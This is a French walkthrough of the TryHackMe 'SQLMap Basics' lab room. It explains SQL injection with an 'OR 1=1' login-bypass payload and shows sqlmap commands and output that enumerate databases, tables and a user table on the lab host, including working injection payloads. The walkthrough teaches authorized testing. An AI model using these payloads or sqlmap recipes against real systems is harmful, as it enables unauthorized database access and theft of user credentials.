Post

TryHackMe - SQLMap Basics

Write-up de la room SQLMap Basics qui nous apprendra plus en profondeur les faille d'SQL injection et comment les exploiter avec l'outil SQLMap

TryHackMe - SQLMap Basics

Informations sur la room

Découvrez l’injection SQL et exploitez cette vulnérabilité via l’outil SQLMap.

Lien : SQLMap Basics

Objectifs d’apprentissage

Cette room couvre les compétences suivantes :

  • Vulnérabilité d’injection SQL
  • Chasse à l’injection SQL via l’outil SQLMap

Solutions des tâches

Task 1 - Introduction

L’injection SQL est une vulnérabilité répandue et constitue depuis longtemps un sujet brûlant en matière de cybersécurité. Pour comprendre cette vulnérabilité, nous devons d’abord apprendre ce qu’est une base de données et comment les sites Web interagissent avec une base de données.

Une base de données est un ensemble de données qui peuvent être stockées, modifiées et récupérées. Il stocke les données de plusieurs applications dans un format structuré, ce qui rend le stockage, la modification et la récupération faciles et efficaces. Vous interagissez quotidiennement avec plusieurs sites Web. Le site Web contient certaines des pages Web sur lesquelles la saisie de l’utilisateur est requise.

Par exemple, un site Web avec une page de connexion vous demande de saisir vos informations d’identification, et une fois que vous les avez saisies, il vérifie si les informations d’identification sont correctes et vous connecte si elles le sont. Étant donné que de nombreux utilisateurs se connectent à ce site Web, comment ce site Web enregistre-t-il toutes les données de ces utilisateurs et les vérifie-t-il pendant le processus d’authentification ? Tout cela se fait à l’aide d’une base de données. Ces sites Web disposent de bases de données qui stockent l’utilisateur et d’autres informations et les récupèrent en cas de besoin. Ainsi, lorsque vous saisissez vos informations d’identification sur la page de connexion d’un site Web, le site Web interagit avec sa base de données pour vérifier si ces informations d’identification sont correctes. De même, si vous disposez d’un champ de saisie pour rechercher quelque chose, par exemple, un champ de saisie d’un site Web de librairie vous permet de rechercher les livres disponibles à la vente. Lorsque vous recherchez un livre, le site Web interagira avec la base de données pour récupérer l’enregistrement de ce livre et l’afficher sur le site Web.

Désormais, nous savons que le site Web demande à la base de données de récupérer, stocker ou modifier n’importe quelle donnée. Alors, comment se déroule cette interaction ? Les bases de données sont gérées par des systèmes de gestion de bases de données (SGBD), tels que MySQL, PostgreSQL, SQLite ou Microsoft SQL Server. Ces systèmes comprennent le langage de requête structuré (SQL). Ainsi, toute application ou site Web utilise des requêtes SQL lors de l’interaction avec la base de données.


Which language builds the interaction between a website and its database?

Réponse : SQL

Task 2 - SQL Injection Vulnerability

Dans la tâche précédente, nous avons étudié comment les sites Web et les applications interagissent avec les bases de données pour stocker, modifier et récupérer leurs données de manière structurée. Dans cette tâche, nous verrons comment l’interaction entre une application et une base de données se produit via des requêtes SQL et comment les attaquants peuvent exploiter ces requêtes SQL pour effectuer des attaques par injection SQL.

Avant de continuer, assurez-vous d’essayer les méthodes d’injection SQL manuelles ou automatisées uniquement après l’autorisation du propriétaire de l’application.

  • username : John
  • password : Un@detectable444

Une fois que vous avez entré votre nom d’utilisateur et votre mot de passe, le site Web les recevra, effectuera une requête SQL avec vos informations d’identification et l’enverra à la base de données.

1
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';

Supposons que la page de connexion au site Web dont nous avons discuté ci-dessus manque de validation et de désinfection des entrées. Cela signifie qu’il est vulnérable à l’injection SQL. L’attaquant ne connaît pas le mot de passe de l’utilisateur John. Ils saisiront la saisie suivante dans les champs indiqués :

  • username : John
  • password : abc' OR 1=1;-- -

Cette fois, l’attaquant a tapé une chaîne aléatoire abc et une chaîne injectée ' OR 1=1;-- -. La requête SQL que le site enverrait à la base de données deviendra désormais la suivante :

1
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';

Cette instruction ressemble à la requête SQL précédente mais ajoute désormais une autre condition avec l’opérateur OR. Cette requête verra s’il y a un utilisateur, John. Ensuite, il vérifiera si John possède le mot de passe abc (qu’il ne pouvait pas avoir car l’attaquant a saisi un mot de passe aléatoire). Idéalement, la requête devrait échouer ici car elle s’attend à ce que le nom d’utilisateur et le mot de passe soient corrects, car il existe un opérateur AND entre eux.

Mais cette requête a une autre condition, OR, entre le mot de passe et une instruction 1=1. Si l’un d’entre eux est vrai, l’ensemble de la requête SQL réussira. Le mot de passe a échoué, la requête vérifiera donc la condition suivante, qui vérifie si 1=1. Comme nous le savons, 1=1 est toujours vrai, il ignorera donc le mot de passe aléatoire saisi auparavant et considérera cette instruction comme vraie, ce qui exécutera avec succès cette requête. Le -- - à la fin de la requête commenterait n’importe quoi après 1=1, ce qui signifie que la requête serait exécutée avec succès et que l’attaquant serait connecté au compte utilisateur de John.

L’une des choses importantes à noter ici est l’utilisation d’un guillemet simple ' après abc. Sans ce guillemet simple, la chaîne entière « abc OR 1=1;-- - » serait considérée comme le mot de passe, ce qui n’est pas prévu. Cependant, si nous ajoutons un guillemet simple ' après abc, le mot de passe ressemblerait à 'abc' OR 1=1;---', qui enferme la chaîne d’origine abc dans la requête et nous permet d’introduire une condition logique OR 1=1, qui est toujours vraie.

SQLMap


Which boolean operator checks if at least one side of the operator is true for the condition to be true?

Réponse : OR

Is 1=1 in an SQL query always true? (YEA/NAY)

Réponse : Yea

Task 3 - Automated SQL Injection Tool

Réaliser une attaque par injection SQL implique de découvrir la vulnérabilité d’injection SQL à l’intérieur de l’application et de manipuler la base de données. Cependant, faire tout cela manuellement peut prendre du temps et des efforts.

Avant d’aller de l’avant, il est essentiel de noter que les commandes expliquées dans cette tâche ne fonctionneraient pas dans l’AttackBox puisqu’il s’agit d’une URL supposée vulnérable à titre d’explication uniquement. Cependant, la tâche suivante vous donnera un aperçu pratique via une URL vulnérable pour mener à bien cette attaque.

SQLMap est un outil automatisé permettant de détecter et d’exploiter les vulnérabilités d’injection SQL dans les applications Web. Cela simplifie le processus d’identification de ces vulnérabilités. Cet outil est intégré à certaines distributions Linux, mais vous pouvez facilement l’installer si ce n’est pas le cas.

Comme il s’agit d’un outil de ligne de commande, vous devez ouvrir votre terminal Linux OS pour l’utiliser. La commande --help ou -h avec SQLMap listera tous les indicateurs disponibles que vous pouvez utiliser. Si vous ne souhaitez pas ajouter manuellement les indicateurs à chaque commande, utilisez l’indicateur --wizard avec SQLMap. Lorsque vous utilisez ce drapeau, l’outil vous guidera à travers chaque étape et vous posera des questions pour terminer l’analyse, ce qui en fait une option parfaite pour les débutants.

Voici le --help de SQLMap :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
root@ip-10-10-90-184:~# sqlmap --help
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --wizard            Simple wizard interface for beginner users
[13:53:54] [WARNING] you haven't updated sqlmap for more than 2031 days!!!

On peut y voir beaucoup de choses, notemment qu’ils n’ont pas fait les mises a jours de depuis 2031 jours !

Le flag --dbs vous aide à extraire tous les noms de bases de données. Une fois que vous connaissez les noms des bases de données, vous pouvez extraire des informations sur les tables de cette base de données en utilisant -D nom_base_de_données --tables. Après avoir obtenu les tables, si vous souhaitez énumérer les enregistrements dans ces tables, vous pouvez utiliser -D nom_base_de_données -T nom_table --dump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@ip-10-10-90-184:~# sqlmap --wizard
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.4#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:59:20 /2025-10-25/

[13:59:20] [INFO] starting wizard interface
Please enter full target URL (-u):

Et si on donne un exemple a SQLMap comme par exemple une url cible qui se termine par ?cat=1 il va comprendre qu’il faut qu’il teste plein de choses voir si c’est possible de faire quelque chose avec ça comme ceci:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1
      __H__
 ___ ___[']_____ ___ ___  {1.2.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:43:49] [INFO] testing connection to the target URL
[08:43:49] [INFO] heuristics detected web page charset 'ascii'
[08:43:49] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[08:43:49] [INFO] testing if the target URL content is stable
[08:43:50] [INFO] target URL content is stable
[08:43:50] [INFO] testing if GET parameter 'cat' is dynamic
[text removed]
[08:45:04] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[text removed]
[08:45:08] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: cat=1 AND EXTRACTVALUE(1846,CONCAT(0x5c,0x716a787071,(SELECT (ELT(1846=1846,1))),0x7170766a71))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cat=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT CONCAT(0x716a787071,0x714d486661414f6456787a4a55796b6c7a78574f7858507a6e6a725647436e64496f4965794c6873,0x7170766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HMgq
---
[08:45:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[text removed]

On voit qu’il a testé plein d’injection SQL ci dessus

Pour récupérer les bases de données, nous utilisons le flag --dbs. Essayons ce flag avec notre URL vulnérable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 --dbs
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:49:00] [INFO] resuming back-end DBMS' mysql' 
[08:49:00] [INFO] testing connection to the target URL
[08:49:01] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]    
[08:49:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:49:01] [INFO] fetching database names
available databases [2]:
[*] users
[*] members

[text removed]

Après avoir exécuté la commande ci-dessus, nous avons obtenu deux noms de base de données. Sélectionnez la base de données des users et récupérez les tables qu’elle contient. Nous définirons la base de données après l’indicateur -D et utiliserons le flag --tables à la fin pour extraire tous les noms de tables.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
           
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users --tables
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:50:46] [INFO] resuming back-end DBMS' mysql' 
[08:50:46] [INFO] testing connection to the target URL
[08:50:46] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]
[08:50:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:50:46] [INFO] fetching tables for database: 'users'
Database: acuart
[3 tables]
+-----------+
| johnath   |
| alexas    |
| thomas    |     
+-----------+

[text removed]

Maintenant que nous avons tous les noms de tables disponibles de la base de données, vidons les enregistrements présents dans la table Thomas. Pour ce faire, nous définirons la base de données avec l’option -D, la table avec l’option -T, et pour extraire les enregistrements de la table, nous utiliserons l’option --dump.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
           
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thmsearch/cat=1 -D users -T thomas --dump
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:51:48] [INFO] resuming back-end DBMS' mysql' 
[08:51:48] [INFO] testing connection to the target URL
[08:51:49] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]
[08:51:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:51:49] [INFO] fetching columns for table 'thomas' in database 'users'
[08:51:49] [INFO] fetching entries for table 'thomas' in database' users'
[08:51:49] [INFO] recognized possible password hashes in column 'passhash'
do you want to store hashes to a temporary file for eventual further processing n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: users
Table: thomas
[1 entry]
+---------------------+------------+---------+
| Date                | name       | pass    |    
+---------------------+------------+----------
| 09/09/2024          | Thomas THM | testing |    
+---------------------+------------+---------+

[text removed]

Cependant, contrairement à l’URL utilisée pour les tests ci-dessus, vous pouvez également utiliser des tests basés sur POST, dans lesquels l’application envoie des données dans le corps de la requête au lieu de l’URL. Des exemples pourraient être des formulaires de connexion, des formulaires d’inscription, etc. Pour suivre cette approche, vous devez intercepter une requête POST sur la page de connexion ou d’inscription et l’enregistrer sous forme de fichier texte. Vous pouvez utiliser la commande suivante pour saisir cette requête enregistrée dans le fichier texte dans l’outil SQLMap :

1
user@ubuntu:~$ sqlmap -r intercepted_request.txt

Apprendre à intercepter et capturer les requêtes POST est hors de portée de cette salle.


Which flag in the SQLMap tool is used to extract all the databases available?

Réponse : --dbs

What would be the full command of SQLMap for extracting all tables from the “members” database? (Vulnerable URL: http://sqlmaptesting.thm/search/cat=1)

Réponse : sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables

Task 4 - Practical Exercise

L’application Web dispose d’une page de connexion hébergée à l’adresse http://10.10.111.207/ai/login. Lorsque vous visitez cette URL, vous verrez une page de connexion vulnérable à l’injection SQL.

SQLMap Site

Dans la tâche précédente, nous avons vu que si nous voyons des paramètres GET dans l’URL, ils pourraient être vulnérables à l’injection SQL, et nous pouvons copier cette URL pour l’utiliser avec SQLMap. Nous avons également vu que s’il y a une requête POST et que les données sont envoyées dans le corps plutôt que dans l’URL, nous pouvons intercepter la requête et l’utiliser avec l’outil SQLMap pour exploiter une vulnérabilité d’injection SQL, le cas échéant.

Ainsi, pour obtenir l’URL complète ainsi que ses paramètres GET, nous devons cliquer avec le bouton droit sur la page de connexion et cliquer sur l’option d’inspection (le processus peut varier légèrement d’un navigateur à l’autre). À partir de là, nous devons sélectionner l’onglet Réseau

Nous devons ensuite saisir quelques informations d’identification de test dans les champs du nom d’utilisateur et du mot de passe et cliquer sur le bouton de connexion, et nous pourrons voir la demande GET. Cliquez sur cette requête et nous pouvons voir la requête GET complète avec les paramètres. Nous pouvons copier cette URL complète et l’utiliser avec l’outil SQLMap pour découvrir les vulnérabilités d’injection SQL à l’intérieur et l’exploiter. La demande complète est présentée dans la capture d’écran ci-dessous :

SQLMap site 2

La voici : http://10.10.111.207/ai/includes/user_login?email=test&password=test

Exécutez les commandes comme indiqué dans la tâche précédente sur cette URL et répondez aux questions posées dans cette tâche. N’oubliez pas non plus d’inclure votre URL entre guillemets simples '. Ceci permet d’éviter les erreurs avec les caractères spéciaux dans le terminal tels que ?.

Il se peut que vous n’obteniez pas les résultats par une simple analyse ; ajoutez --level=5 à la fin de vos commandes pour effectuer les analyses approfondies. Deuxièmement, lors de l’exécution des commandes, l’outil peut vous poser quelques questions; assurez-vous d’y répondre comme suit pour exécuter l’analyse en douceur

  • Il semble que le SGBD back-end soit « MySQL ». Souhaitez-vous ignorer les payloads de test spécifiques à d’autres SGBD ? [O/n] : oui
  • Pour les tests restants, souhaitez-vous inclure tous les tests pour l’extension de la valeur de risque (1) fournie par « MySQL » ? [O/n] : oui
  • Injection non exploitable avec des valeurs NULL. Voulez-vous essayer avec une valeur entière aléatoire pour l’option ‘–union-char’ ? [O/n] : oui
  • Le paramètre GET 'email' est vulnérable. Voulez-vous continuer à tester les autres (le cas échéant) ? [o/N] : n

How many databases are available in this web application?

Alors pour commencer j’ai fais la commande avec --wizard ce qui m’a permis d’identifier des failles :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
root@ip-10-10-90-184:~# sqlmap --wizard
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:28:54 /2025-10-25/

[14:28:54] [INFO] starting wizard interface
Please enter full target URL (-u): http://10.10.111.207/ai/includes/user_login?email=test&password=my_password
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 3
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 1

sqlmap is running, please wait..

sqlmap identified the following injection point(s) with a total of 1107 HTTP(s) requests:
---
Parameter: email (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=test' AND 9749=(SELECT (CASE WHEN (9749=9749) THEN 9749 ELSE (SELECT 8209 UNION SELECT 3577) END))-- irFf&password=my_password

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: email=test' OR (SELECT 2937 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(2937=2937,1))),0x716b707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jUhZ&password=my_password

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test' AND (SELECT 3712 FROM (SELECT(SLEEP(5)))BwqO)-- usqD&password=my_password
---
[14:30:09] [INFO] retrieved: '10.4.24-MariaDB'
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '10.4.24-MariaDB'
[14:30:10] [INFO] retrieved: 'root@localhost'
current user: 'root@localhost'
[14:30:10] [INFO] retrieved: 'ai'
current database: 'ai'
current user is DBA: True

[*] ending @ 14:30:10 /2025-10-25/

Et ensuite j’ai simplement utilisé ces failles pour voir la base de donnée avec le --dbs et le --level=5 qu’on nous avait dit de mettre.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
root@ip-10-10-90-184:~# sqlmap -u "http://10.10.111.207/ai/includes/user_login?email=test&password=my_password"   --level=5 --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:38:32 /2025-10-25/

[14:38:32] [INFO] resuming back-end DBMS 'mysql' 
[14:38:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=test' AND 9749=(SELECT (CASE WHEN (9749=9749) THEN 9749 ELSE (SELECT 8209 UNION SELECT 3577) END))-- irFf&password=my_password

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: email=test' OR (SELECT 2937 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(2937=2937,1))),0x716b707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jUhZ&password=my_password

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test' AND (SELECT 3712 FROM (SELECT(SLEEP(5)))BwqO)-- usqD&password=my_password
---
[14:38:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[14:38:32] [INFO] fetching database names
[14:38:32] [INFO] resumed: 'information_schema'
[14:38:32] [INFO] resumed: 'ai'
[14:38:32] [INFO] resumed: 'mysql'
[14:38:32] [INFO] resumed: 'performance_schema'
[14:38:32] [INFO] resumed: 'phpmyadmin'
[14:38:32] [INFO] resumed: 'test'
available databases [6]:
[*] ai
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test

[14:38:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.111.207'
[14:38:32] [WARNING] you haven't updated sqlmap for more than 2031 days!!!

[*] ending @ 14:38:32 /2025-10-25/

Et comme on peut le voir, on apperçois plusieurs bases de données comme ai, information_schema

Réponse : 6

What is the name of the table available in the “ai” database?

Donc je me souviens que pour dire a SQLMap qu’on va chercher des infos dans une certaine tables, on utilise le flag -D suivi du nom de la table et en n’oubliant pas le flag --tables pour afficher celles ci

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
root@ip-10-10-90-184:~# sqlmap -u "http://10.10.111.207/ai/includes/user_login?email=test&password=my_password" -D ai --tables --level=5
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:55:46 /2025-10-25/

[14:55:46] [INFO] resuming back-end DBMS 'mysql' 
[14:55:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=test' AND 9749=(SELECT (CASE WHEN (9749=9749) THEN 9749 ELSE (SELECT 8209 UNION SELECT 3577) END))-- irFf&password=my_password

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: email=test' OR (SELECT 2937 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(2937=2937,1))),0x716b707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jUhZ&password=my_password

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test' AND (SELECT 3712 FROM (SELECT(SLEEP(5)))BwqO)-- usqD&password=my_password
---
[14:55:46] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[14:55:46] [INFO] fetching tables for database: 'ai'
[14:55:47] [INFO] retrieved: 'user'
Database: ai
[1 table]
+------+
| user |
+------+

[14:55:47] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.111.207'
[14:55:47] [WARNING] you haven't updated sqlmap for more than 2031 days!!!

[*] ending @ 14:55:47 /2025-10-25/

Réponse : user

What is the password of the email test@chatai.com?

Pour le trouver on a besoin de préciser a SQLMap d’utiliser le user qu’on a trouvé juste avant comme ceci : -D ai -T user --dump et en oubliant pas le --level=5 comme demandé.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
root@ip-10-10-90-184:~# sqlmap -u "http://10.10.111.207/ai/includes/user_login?email=test&password=my_password" -D ai -T user --dump --level=5
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:02:16 /2025-10-25/

[15:02:16] [INFO] resuming back-end DBMS 'mysql' 
[15:02:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=test' AND 9749=(SELECT (CASE WHEN (9749=9749) THEN 9749 ELSE (SELECT 8209 UNION SELECT 3577) END))-- irFf&password=my_password

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: email=test' OR (SELECT 2937 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(2937=2937,1))),0x716b707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jUhZ&password=my_password

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test' AND (SELECT 3712 FROM (SELECT(SLEEP(5)))BwqO)-- usqD&password=my_password
---
[15:02:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[15:02:16] [INFO] fetching columns for table 'user' in database 'ai'
[15:02:16] [INFO] retrieved: 'id'
[15:02:16] [INFO] retrieved: 'int(11)'
[15:02:16] [INFO] retrieved: 'email'
[15:02:16] [INFO] retrieved: 'varchar(512)'
[15:02:16] [INFO] retrieved: 'password'
